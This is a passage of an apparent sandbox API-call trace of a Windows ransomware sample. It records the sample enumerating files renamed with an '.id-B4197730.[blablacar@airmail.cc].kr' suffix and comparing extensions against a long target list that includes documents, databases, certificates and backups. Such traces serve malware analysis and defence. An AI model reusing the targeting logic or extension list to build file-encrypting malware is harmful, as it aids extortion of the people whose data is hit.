(lpString1=".jpg", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".jpx") returned 4 [0085.163] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".js") returned 3 [0085.163] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0085.163] lstrlenW (lpString=".jsf") returned 4 [0085.163] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".json") returned 5 [0085.164] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0085.164] lstrlenW (lpString=".jsp") returned 4 [0085.164] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".kdc") returned 4 [0085.164] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".kmz") returned 4 [0085.164] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".kwm") returned 4 [0085.164] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".lasso") returned 6 [0085.164] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0085.164] lstrlenW (lpString=".lbi") returned 4 [0085.164] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".lgf") returned 4 [0085.164] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".lgp") returned 4 [0085.164] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".log") returned 4 [0085.164] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".m1v") returned 4 [0085.164] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".m4a") returned 4 [0085.164] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".m4v") returned 4 [0085.164] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".max") returned 4 [0085.164] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0085.164] lstrlenW (lpString=".md") returned 3 [0085.164] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0085.164] lstrlenW (lpString=".mda") returned 4 [0085.164] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mdb") returned 4 [0085.165] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mde") returned 4 [0085.165] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mdf") returned 4 [0085.165] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mdw") returned 4 [0085.165] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mef") returned 4 [0085.165] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mft") returned 4 [0085.165] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mfw") returned 4 [0085.165] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mht") returned 4 [0085.165] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mhtml") returned 6 [0085.165] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0085.165] lstrlenW (lpString=".mka") returned 4 [0085.165] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mkidx") returned 6 [0085.165] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0085.165] lstrlenW (lpString=".mkv") returned 4 [0085.165] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mos") returned 4 [0085.165] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mov") returned 4 [0085.165] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mp3") returned 4 [0085.165] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0085.165] lstrlenW (lpString=".mp4") returned 4 [0085.165] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".mpeg") returned 5 [0085.166] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0085.166] lstrlenW (lpString=".mpg") returned 4 [0085.166] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".mpv") returned 4 [0085.166] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".mrw") returned 4 [0085.166] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".msg") returned 4 [0085.166] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".mxl") returned 4 [0085.166] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".myd") returned 4 [0085.166] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".myi") returned 4 [0085.166] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".nef") returned 4 [0085.166] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".nrw") returned 4 [0085.166] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".obj") returned 4 [0085.166] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".odb") returned 4 [0085.166] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".odc") returned 4 [0085.166] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".odm") returned 4 [0085.166] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0085.166] lstrlenW (lpString=".odp") returned 4 [0085.166] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".ods") returned 4 [0085.167] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".oft") returned 4 [0085.167] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".one") returned 4 [0085.167] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".onepkg") returned 7 [0085.167] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0085.167] lstrlenW (lpString=".onetoc2") returned 8 [0085.167] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0085.167] lstrlenW (lpString=".opt") returned 4 [0085.167] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".oqy") returned 4 [0085.167] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".orf") returned 4 [0085.167] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".p12") returned 4 [0085.167] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".p7b") returned 4 [0085.167] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".p7c") returned 4 [0085.167] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".pam") returned 4 [0085.167] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".pbm") returned 4 [0085.167] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".pct") returned 4 [0085.167] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".pcx") returned 4 [0085.167] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0085.167] lstrlenW (lpString=".pdd") returned 4 [0085.168] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pdf") returned 4 [0085.168] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pdp") returned 4 [0085.168] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pef") returned 4 [0085.168] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pem") returned 4 [0085.168] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pff") returned 4 [0085.168] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pfm") returned 4 [0085.168] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pfx") returned 4 [0085.168] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".pgm") returned 4 [0085.168] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".php") returned 4 [0085.168] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0085.168] lstrlenW (lpString=".php3") returned 5 [0085.168] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0085.168] lstrlenW (lpString=".php4") returned 5 [0085.168] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0085.168] lstrlenW (lpString=".php5") returned 5 [0085.168] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0085.168] lstrlenW (lpString=".phtml") returned 6 [0085.168] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0085.168] lstrlenW (lpString=".pict") returned 5 [0085.168] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0085.168] lstrlenW (lpString=".pl") returned 3 [0085.168] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0085.169] lstrlenW (lpString=".pls") returned 4 [0085.169] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".pm") returned 3 [0085.169] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0085.169] lstrlenW (lpString=".png") returned 4 [0085.169] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".pnm") returned 4 [0085.169] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".pot") returned 4 [0085.169] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".potm") returned 5 [0085.169] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".potx") returned 5 [0085.169] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".ppa") returned 4 [0085.169] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".ppam") returned 5 [0085.169] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".ppm") returned 4 [0085.169] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".pps") returned 4 [0085.169] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".ppsm") returned 5 [0085.169] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".ppt") returned 4 [0085.169] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0085.169] lstrlenW (lpString=".pptm") returned 5 [0085.169] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".pptx") returned 5 [0085.169] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0085.169] lstrlenW (lpString=".prn") returned 4 [0085.170] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".ps") returned 3 [0085.170] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0085.170] lstrlenW (lpString=".psb") returned 4 [0085.170] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".psd") returned 4 [0085.170] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".pst") returned 4 [0085.170] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".ptx") returned 4 [0085.170] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".pub") returned 4 [0085.170] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".pwm") returned 4 [0085.170] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".pxr") returned 4 [0085.170] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".py") returned 3 [0085.170] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0085.170] lstrlenW (lpString=".qt") returned 3 [0085.170] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0085.170] lstrlenW (lpString=".r3d") returned 4 [0085.170] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".raf") returned 4 [0085.170] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0085.170] lstrlenW (lpString=".rar") returned 4 [0085.170] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0085.171] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.171] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0085.171] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0085.171] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0085.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26 [0085.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0085.172] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.172] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a938e2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a938e2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0085.172] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0085.172] lstrlenW (lpString=".1cd") returned 4 [0085.172] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0085.172] lstrlenW (lpString=".3ds") returned 4 [0085.172] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0085.172] lstrlenW (lpString=".3fr") returned 4 [0085.172] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0085.172] lstrlenW (lpString=".3g2") returned 4 [0085.172] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0085.172] lstrlenW (lpString=".3gp") returned 4 [0085.172] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0085.172] lstrlenW (lpString=".7z") returned 3 [0085.172] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0085.172] lstrlenW (lpString=".accda") returned 6 [0085.172] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0085.172] lstrlenW (lpString=".accdb") returned 6 [0085.172] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0085.172] lstrlenW (lpString=".accdc") returned 6 [0085.172] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0085.172] lstrlenW (lpString=".accde") returned 6 [0085.172] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0085.172] lstrlenW (lpString=".accdt") returned 6 [0085.172] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0085.173] lstrlenW (lpString=".accdw") returned 6 [0085.173] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0085.173] lstrlenW (lpString=".adb") returned 4 [0085.173] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".adp") returned 4 [0085.173] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai") returned 3 [0085.173] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0085.173] lstrlenW (lpString=".ai3") returned 4 [0085.173] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai4") returned 4 [0085.173] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai5") returned 4 [0085.173] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai6") returned 4 [0085.173] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai7") returned 4 [0085.173] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ai8") returned 4 [0085.173] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".anim") returned 5 [0085.173] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0085.173] lstrlenW (lpString=".arw") returned 4 [0085.173] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".as") returned 3 [0085.173] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0085.173] lstrlenW (lpString=".asa") returned 4 [0085.173] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".asc") returned 4 [0085.173] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0085.173] lstrlenW (lpString=".ascx") returned 5 [0085.173] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0085.174] lstrlenW (lpString=".asm") returned 4 [0085.174] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".asmx") returned 5 [0085.174] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0085.174] lstrlenW (lpString=".asp") returned 4 [0085.174] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".aspx") returned 5 [0085.174] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0085.174] lstrlenW (lpString=".asr") returned 4 [0085.174] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".asx") returned 4 [0085.174] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".avi") returned 4 [0085.174] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".avs") returned 4 [0085.174] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".backup") returned 7 [0085.174] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0085.174] lstrlenW (lpString=".bak") returned 4 [0085.174] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".bay") returned 4 [0085.174] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".bd") returned 3 [0085.174] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0085.174] lstrlenW (lpString=".bin") returned 4 [0085.174] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".bmp") returned 4 [0085.174] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".bz2") returned 4 [0085.174] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0085.174] lstrlenW (lpString=".c") returned 2 [0085.174] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0085.174] lstrlenW (lpString=".cdr") returned 4 [0085.175] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cer") returned 4 [0085.175] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cf") returned 3 [0085.175] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0085.175] lstrlenW (lpString=".cfc") returned 4 [0085.175] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cfm") returned 4 [0085.175] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cfml") returned 5 [0085.175] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0085.175] lstrlenW (lpString=".cfu") returned 4 [0085.175] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".chm") returned 4 [0085.175] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cin") returned 4 [0085.175] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".class") returned 6 [0085.175] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0085.175] lstrlenW (lpString=".clx") returned 4 [0085.175] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".config") returned 7 [0085.175] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0085.175] lstrlenW (lpString=".cpp") returned 4 [0085.175] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".cr2") returned 4 [0085.175] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0085.175] lstrlenW (lpString=".crt") returned 4 [0085.175] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".crw") returned 4 [0085.176] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".cs") returned 3 [0085.176] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0085.176] lstrlenW (lpString=".css") returned 4 [0085.176] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".csv") returned 4 [0085.176] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".cub") returned 4 [0085.176] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".dae") returned 4 [0085.176] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".dat") returned 4 [0085.176] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0085.176] lstrlenW (lpString=".db") returned 3 [0085.176] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0085.177] lstrlenW (lpString=".dbf") returned 4 [0085.177] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dbx") returned 4 [0085.177] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dc3") returned 4 [0085.177] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dcm") returned 4 [0085.177] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dcr") returned 4 [0085.177] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".der") returned 4 [0085.177] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dib") returned 4 [0085.177] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dic") returned 4 [0085.177] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".dif") returned 4 [0085.177] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".divx") returned 5 [0085.177] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0085.177] lstrlenW (lpString=".djvu") returned 5 [0085.177] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0085.177] lstrlenW (lpString=".dng") returned 4 [0085.177] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".doc") returned 4 [0085.177] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0085.177] lstrlenW (lpString=".docm") returned 5 [0085.177] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0085.177] lstrlenW (lpString=".docx") returned 5 [0085.177] 